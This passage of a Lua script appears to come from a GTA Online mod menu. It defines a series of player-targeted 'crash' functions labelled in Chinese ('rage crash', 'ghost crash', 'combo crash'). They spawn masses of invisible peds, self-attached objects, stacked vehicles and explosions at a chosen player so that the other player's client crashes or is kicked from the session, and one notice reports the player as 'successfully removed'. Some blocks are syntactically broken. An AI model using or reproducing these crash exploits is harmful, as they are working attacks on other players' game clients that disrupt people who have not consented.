        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl2, animation_tonta, 0, false)
        TASK.TASK_START_SCENARIO_IN_PLACE(veh_mdl2, animation_tonta, 0, false)
    end
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(mdl)
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(mdl2)
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(veh_mdl)
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(veh_mdl2)
    entities.delete_by_handle(mdl)
    entities.delete_by_handle(mdl2)
    entities.delete_by_handle(mdl3)
    entities.delete_by_handle(mdl4)
    entities.delete_by_handle(veh_mdl)
    entities.delete_by_handle(veh_mdl2)
end)

GTAC(bengk2t, "怒火崩溃 V1", {}, "", function()
    local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id)
    local mdl = util.joaat("cs_taostranslator2")
    while not STREAMING.HAS_MODEL_LOADED(mdl) do
        STREAMING.REQUEST_MODEL(mdl)
        wait(5)
    end

    local ped = {}
    for i = 1, 10 do 
        local coord = ENTITY.GET_ENTITY_COORDS(player, true)
        local pedcoord = ENTITY.GET_ENTITY_COORDS(ped[i], false)
        ped[i] = entities.create_ped(0, mdl, coord, 0)

        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(ped[i], 0xB1CA77B1, 0, true)
        WEAPON.SET_PED_GADGET(ped[i], 0xB1CA77B1, true)

        menu.trigger_commands("as ".. PLAYER.GET_PLAYER_NAME(PlayerID) .. " explode " .. PLAYER.GET_PLAYER_NAME(PlayerID) .. " ")

        ENTITY.SET_ENTITY_VISIBLE(ped[i], true)
        wait(25)
    end
    wait(2500)
    for i = 1, 10 do
        entities.delete_by_handle(ped[i])
        wait(25)
    end

end)

GTAC(bengk2t, "怒火崩溃 V2", {}, "", function()
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local user = PLAYER.GET_PLAYER_PED(players.user())
    local pos = ENTITY.GET_ENTITY_COORDS(ped)
    local my_pos = ENTITY.GET_ENTITY_COORDS(user)
    local anim_dict = ("anim@mp_player_intupperstinker")
    request_model(anim_dict)
    BlockSyncs(PlayerID, function()
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
        wait(100)
        TASK.TASK_SWEEP_AIM_POSITION(user, anim_dict, "toma", "puto", "tonto", -1, 0.0, 0.0, 0.0, 0.0, 0.0)
        wait(100)
    end)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, my_pos.x, my_pos.y, my_pos.z, false, false, false)

end)

GTLP(bengk2t, "怒火崩溃 V3", {"poodlev2"}, "", function(on_loop)
    local mdl = util.joaat('a_c_poodle')
    local mdl1 = util.joaat('a_c_poodle')
    local mdl2 = util.joaat('a_c_poodle')
    BlockSyncs(PlayerID, function()
    if request_model(mdl, mdl1, mdl2, 2) then
    local pos = players.get_position(PlayerID)
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local ped1 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local ped2 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)

    ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 3, 0, 0), 0)
    ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), -3, 0, 0), 0)
    local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
    WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
    local obj
    repeat

    ped2 = entities.create_ped(26, mdl1, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 3, 0), 0)
    ped2 = entities.create_ped(26, mdl1, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, -3, 0), 0)
    local coords = ENTITY.GET_ENTITY_COORDS(ped2, true)
    WEAPON.GIVE_WEAPON_TO_PED(ped2, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
    local obj
    repeat

    ped2 = entities.create_ped(26, mdl2, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, 3), 0)
    ped2 = entities.create_ped(26, mdl2, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, -3), 0) 
    local coords = ENTITY.GET_ENTITY_COORDS(ped2, true)
    WEAPON.GIVE_WEAPON_TO_PED(ped2, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
    local obj
    repeat

        obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
    until obj ~= 0 or wait()
    ENTITY.DETACH_ENTITY(obj, true, true) 
    wait(0)
    FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, false)
    entities.delete_by_handle(ped1)
    wait(0)

        obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped2, 0)
    until obj ~= 0 or wait()
    ENTITY.DETACH_ENTITY(obj, true, true) 
    wait(0)
    FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, false)
    entities.delete_by_handle(ped2)
    wait(0)

        obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped2, 0)
    until obj ~= 0 or wait()
    ENTITY.DETACH_ENTITY(obj, true, true) 
    wait(0)
    FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, false)
    entities.delete_by_handle(ped2)
    wait(0)
        end
    end)
end)

GTAC(bengk2t, "怒火崩溃 V4", {""}, "", function()   
    local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)
local PED1 = CreatePed(26,util.joaat("cs_beverly"),TargetPlayerPos, 0)
    ENTITY.SET_ENTITY_VISIBLE(PED1, false, 0)
    wait(100)
    WEAPON.GIVE_WEAPON_TO_PED(PED1,-270015777,80,true,true)
    wait(1000)
    FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)  
    wait(10000)
    entities.delete_by_handle(PED1)   
    if players.exists(PlayerID) then
        notification("未能移除玩家,正在使用cs_fabien模型",colors.red)
        local PED2 = CreatePed(26,util.joaat("cs_fabien"),TargetPlayerPos, 0)
        ENTITY.SET_ENTITY_VISIBLE(PED2, false, 0)
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PED2,-270015777,80,true,true)
        wait(1000)
        FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)
        wait(10000)
        entities.delete_by_handle(PED2)
    end
    if players.exists(PlayerID) then
        notification("未能移除玩家,正在使用cs_manuel模型",colors.red)
        local PED3 = CreatePed(26,util.joaat("cs_manuel"),TargetPlayerPos, 0)
        ENTITY.SET_ENTITY_VISIBLE(PED3, false, 0)
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PED3,-270015777,80,true,true)
        wait(1000)
        FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)
        wait(10000)
        entities.delete_by_handle(PED3)
    end
    if players.exists(PlayerID) then
        notification("未能移除玩家,正在使用cs_taostranslator模型",colors.red)
        local PED4 = CreatePed(26,util.joaat("cs_taostranslator"),TargetPlayerPos, 0)
        ENTITY.SET_ENTITY_VISIBLE(PED4, false, 0)
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PED4,-270015777,80,true,true)
        wait(1000)
        FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)
        wait(10000)
        entities.delete_by_handle(PED4)
    end
    if players.exists(PlayerID) then
        notification("未能移除玩家,正在使用cs_taostranslator2模型",colors.red)
        local PED5 = CreatePed(26,util.joaat("cs_taostranslator2"),TargetPlayerPos, 0)
        ENTITY.SET_ENTITY_VISIBLE(PED5, false, 0)
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PED5,-270015777,80,true,true)
        wait(1000)
        FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)
        wait(10000)
        entities.delete_by_handle(PED5)
    end
    if players.exists(PlayerID) then
        notification("未能移除玩家,正在使用cs_tenniscoach模型",colors.red)
        local PED6 = CreatePed(26,util.joaat("cs_tenniscoach"),TargetPlayerPos, 0)
        ENTITY.SET_ENTITY_VISIBLE(PED6, false, 0)
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PED6,-270015777,80,true,true)
        wait(1000)
        FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)
        wait(10000)
        entities.delete_by_handle(PED6)
    end
    if players.exists(PlayerID) then
        notification("未能移除玩家,正在使用cs_wade模型",colors.red)
        local PED7 = CreatePed(26,util.joaat("cs_wade"),TargetPlayerPos, 0)
        ENTITY.SET_ENTITY_VISIBLE(PED7, false, 0)
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PED7,-270015777,80,true,true)
        wait(1000)
        FIRE.ADD_OWNED_EXPLOSION(players.user_ped(), TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 2, 50, true, false, 0.0)
        wait(10000)
        entities.delete_by_handle(PED7)
    end
    if not players.exists(PlayerID) then
        notification("成功移除玩家",colors.red)
    end
end)]]

local guibengs = menu.list(PlayerMainMenu, "鬼崩", {}, "")

GTAC(guibengs, "鬼崩V1", {"ghost"},"", function(change)
if change then
STREAMING.REQUEST_MODEL(-1364166376)
local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) 
local cone = OBJECT.CREATE_OBJECT_NO_OFFSET(-1364166376, c.x, c.y, c.z, true, false, false)
ENTITY.ATTACH_ENTITY_TO_ENTITY(cone, cone, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, true, true, true, false, 0, true)
wait(500)
end
end)

GTAC(guibengs, "鬼崩V2", {"ghostv2"}, "", function()
    guibeng(PlayerID)
end)

GTAC(guibengs, "鬼崩V3", {"ghostv3"}, "", function()
    pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID())
    mypos = ENTITY.GET_ENTITY_COORDS(pedp, true)
    tr2 = 2078290630
    STREAMING.REQUEST_MODEL(tr2)
    local vehicle_ = CreateVehicle(tr2, mypos,0)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle_, PLAYER.PLAYER_PED_ID(), 0, 0, 0, -10, 0, 0, 0, true, false, true, false, 0, true)
    playerped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    for i = 0, 10 do
    playerpos = ENTITY.GET_ENTITY_COORDS(playerped, true)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.PLAYER_PED_ID(), playerpos.x, playerpos.y, playerpos.z, false, false, false)
    wait(15)
    end
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.PLAYER_PED_ID(), mypos.x, mypos.y, mypos.z, false, false, false)
end)

GTAC(guibengs, "鬼崩V4", {"ghostv4"}, "", function()
    local model = {util.joaat("boattrailer"),util.joaat("trailersmall"),util.joaat("raketrailer"),}
            local BAD_attach = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
            local fuck_ped = CreatePed(26 , util.joaat("ig_kaylee"), BAD_attach, 0)
            ENTITY.SET_ENTITY_VISIBLE(fuck_ped, false)
            for i = 1, 3, 1 do
                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(fuck_ped, BAD_attach.x, BAD_attach.y, BAD_attach.z)
                for spawn, value in pairs(model) do
                    local vels = {}
                    vels[spawn] = CreateVehicle(value, BAD_attach, 0)
                    for attach, value in pairs(vels) do
                        ENTITY.ATTACH_ENTITY_BONE_TO_ENTITY_BONE_Y_FORWARD(value, fuck_ped, 0, 0, true, true)
                    end
                end
                wait(500)
                notification("再见!", colors.black)
                menu.trigger_commands("explode" ..  players.get_name(PlayerID))
                local vels_ <const> = entities.get_all_vehicles_as_handles()
                for delete, value in pairs(vels_) do
                entities.delete_by_handle(fuck_ped)
            end
            end
    end)

GTAC(guibengs, "鬼崩V5", {"ghostv5"}, "", function()
    my = PLAYER.GET_PLAYER_PED(players.user())
    mypos = ENTITY.GET_ENTITY_COORDS(players.user())
    tr2 = -1881846085
    STREAMING.REQUEST_MODEL(tr2)
        while not STREAMING.HAS_MODEL_LOADED(tr2) do
            wait(1)
        end
        dell = entities.create_vehicle(tr2, mypos, 0)
        ENTITY.SET_ENTITY_VISIBLE(dell, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(dell, my, 0, 0, 0, 0, 0, 0, 0, false, true, false, true, 0, true)
        wait(400)
        for i = 1, 50 do
            youpos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my, youpos.x, youpos.y, youpos.z, true, false)
            wait(20)
        end
    wait(20)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my,-75.28,-818.66,326.17)
    end)

GTAC(guibengs, "鬼崩V6", {"ghostv6"}, "", function()
        yyddss = 3613262246
        STREAMING.REQUEST_MODEL(yyddss)
        while not STREAMING.HAS_MODEL_LOADED(yyddss) do
            wait(1)
        end
        kkk = PLAYER.GET_PLAYER_PED(PlayerID)
        kkk1 = ENTITY.GET_ENTITY_COORDS(kkk)
        ENTITY.FREEZE_ENTITY_POSITION(kkk, true)
        kkk3 = entities.create_object(yyddss, kkk1, 0)
    end)

GTAC(guibengs, "鬼崩V7", {"ghostv7"}, "#建议贴脸,效果极佳\n#允许您贴脸并且长按哟~", function()
    pedp = players.user_ped(PlayerID)
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    towtruck = CreateVehicle(-1323100960, pos, 0)
    skylift = CreateVehicle(-692292317, pos, 0)
    cargobob = CreateVehicle(4244420235, pos, 0)
    cargobob2 = CreateVehicle(4244420235, pos, 0)
    cargobob1 = CreateVehicle(4244420235, pos, 0)
    handler = CreateVehicle(444583674, pos, 0)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(cargobob, skylift, 0, 0, 0, 0.2, 0, 0, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(cargobob1, skylift, 0, 0, 0, -0.2, 0, 0, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(handler, skylift, 0, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(towtruck, skylift, 0, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(cargobob2, towtruck, 0, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(skylift, pedp, 0, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
end)

GTAC(guibengs, "鬼崩V8", {"ghostv8"}, "", function()
    menu.trigger_commands("choke".. PLAYER.GET_PLAYER_NAME(PlayerID))
    local cord = getEntityCoords(getPlayerPed(PlayerID))
    local object = entities.create_object(util.joaat("virgo"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("osiris"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_firealarm"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_bs_cond"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_bs_foamx3"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor07"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor06"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor05"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_bs_gelx3"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor01"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("feltzer3"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor02"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("windsor"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor04"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_ct_monitor03"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    local object = entities.create_object(util.joaat("v_serv_bs_clutter"), cord, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)))
    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(object, true, true)
    ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(object, 1, 0.0, 10000.0, 0.0, 0.0, 0.0, 0.0, false, true, true, false, true)
    ENTITY.SET_ENTITY_ROTATION(object, math.random(0, 360), math.random(0, 360), math.random(0, 360), 0, true)
    ENTITY.SET_ENTITY_VELOCITY(object, math.random(-10, 10), math.random(-10, 10), math.random(30, 50))
    ENTITY.ATTACH_ENTITY_TO_ENTITY(object, object, 0, 0, -1, 2.5, 0, 180, 0, 0, false, true, false, 0, true)
    wait(300)
    MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(cord.x, cord.y, cord.z + 1, cord.x, cord.y, cord.z, 0, true, util.joaat("weapon_heavysniper_mk2"), players.user_ped(), false, true, 1.0)
    ENTITY.DETACH_ENTITY(object, object)
    entities.delete_by_handle(object)
end)

zuhebk = GT(PlayerMainMenu, "组合崩溃", {}, "")
GTAC(zuhebk, "组合崩溃", {"clothescrash"}, "切记远离", function()
        if pid ~= players.user() then
            util.toast("Wait 20 Seconds...")
            local math_random = math.random
            local joaat = util.joaat
            wait(100)
            local pedhash = util.joaat("P_franklin_02")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds1 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds1[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds1[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds1[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds1[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds1[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds1[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                wait(5)
            end
            local pedhash = util.joaat("cs_lazlow")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds2 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds2[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds2[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds2[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds2[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds2[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds2[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds2[i], 3, 0, 3, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds2[i])
                wait(5)
            end
            wait(5)
            local pedhash = util.joaat("cs_taocheng")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds3 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds3[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds3[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds3[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds3[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds3[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds3[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds3[i], 3, 2, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds3[i])
                wait(5)
            end
            wait(5)
            local pedhash = util.joaat("cs_solomon")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds4 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds4[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds4[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds4[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds4[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds4[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds4[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds4[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds4[i])
                wait(5)
            end
            wait(5)
            local pedhash = util.joaat("cs_stevehains")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds5 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds5[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds5[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds5[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds5[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds5[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
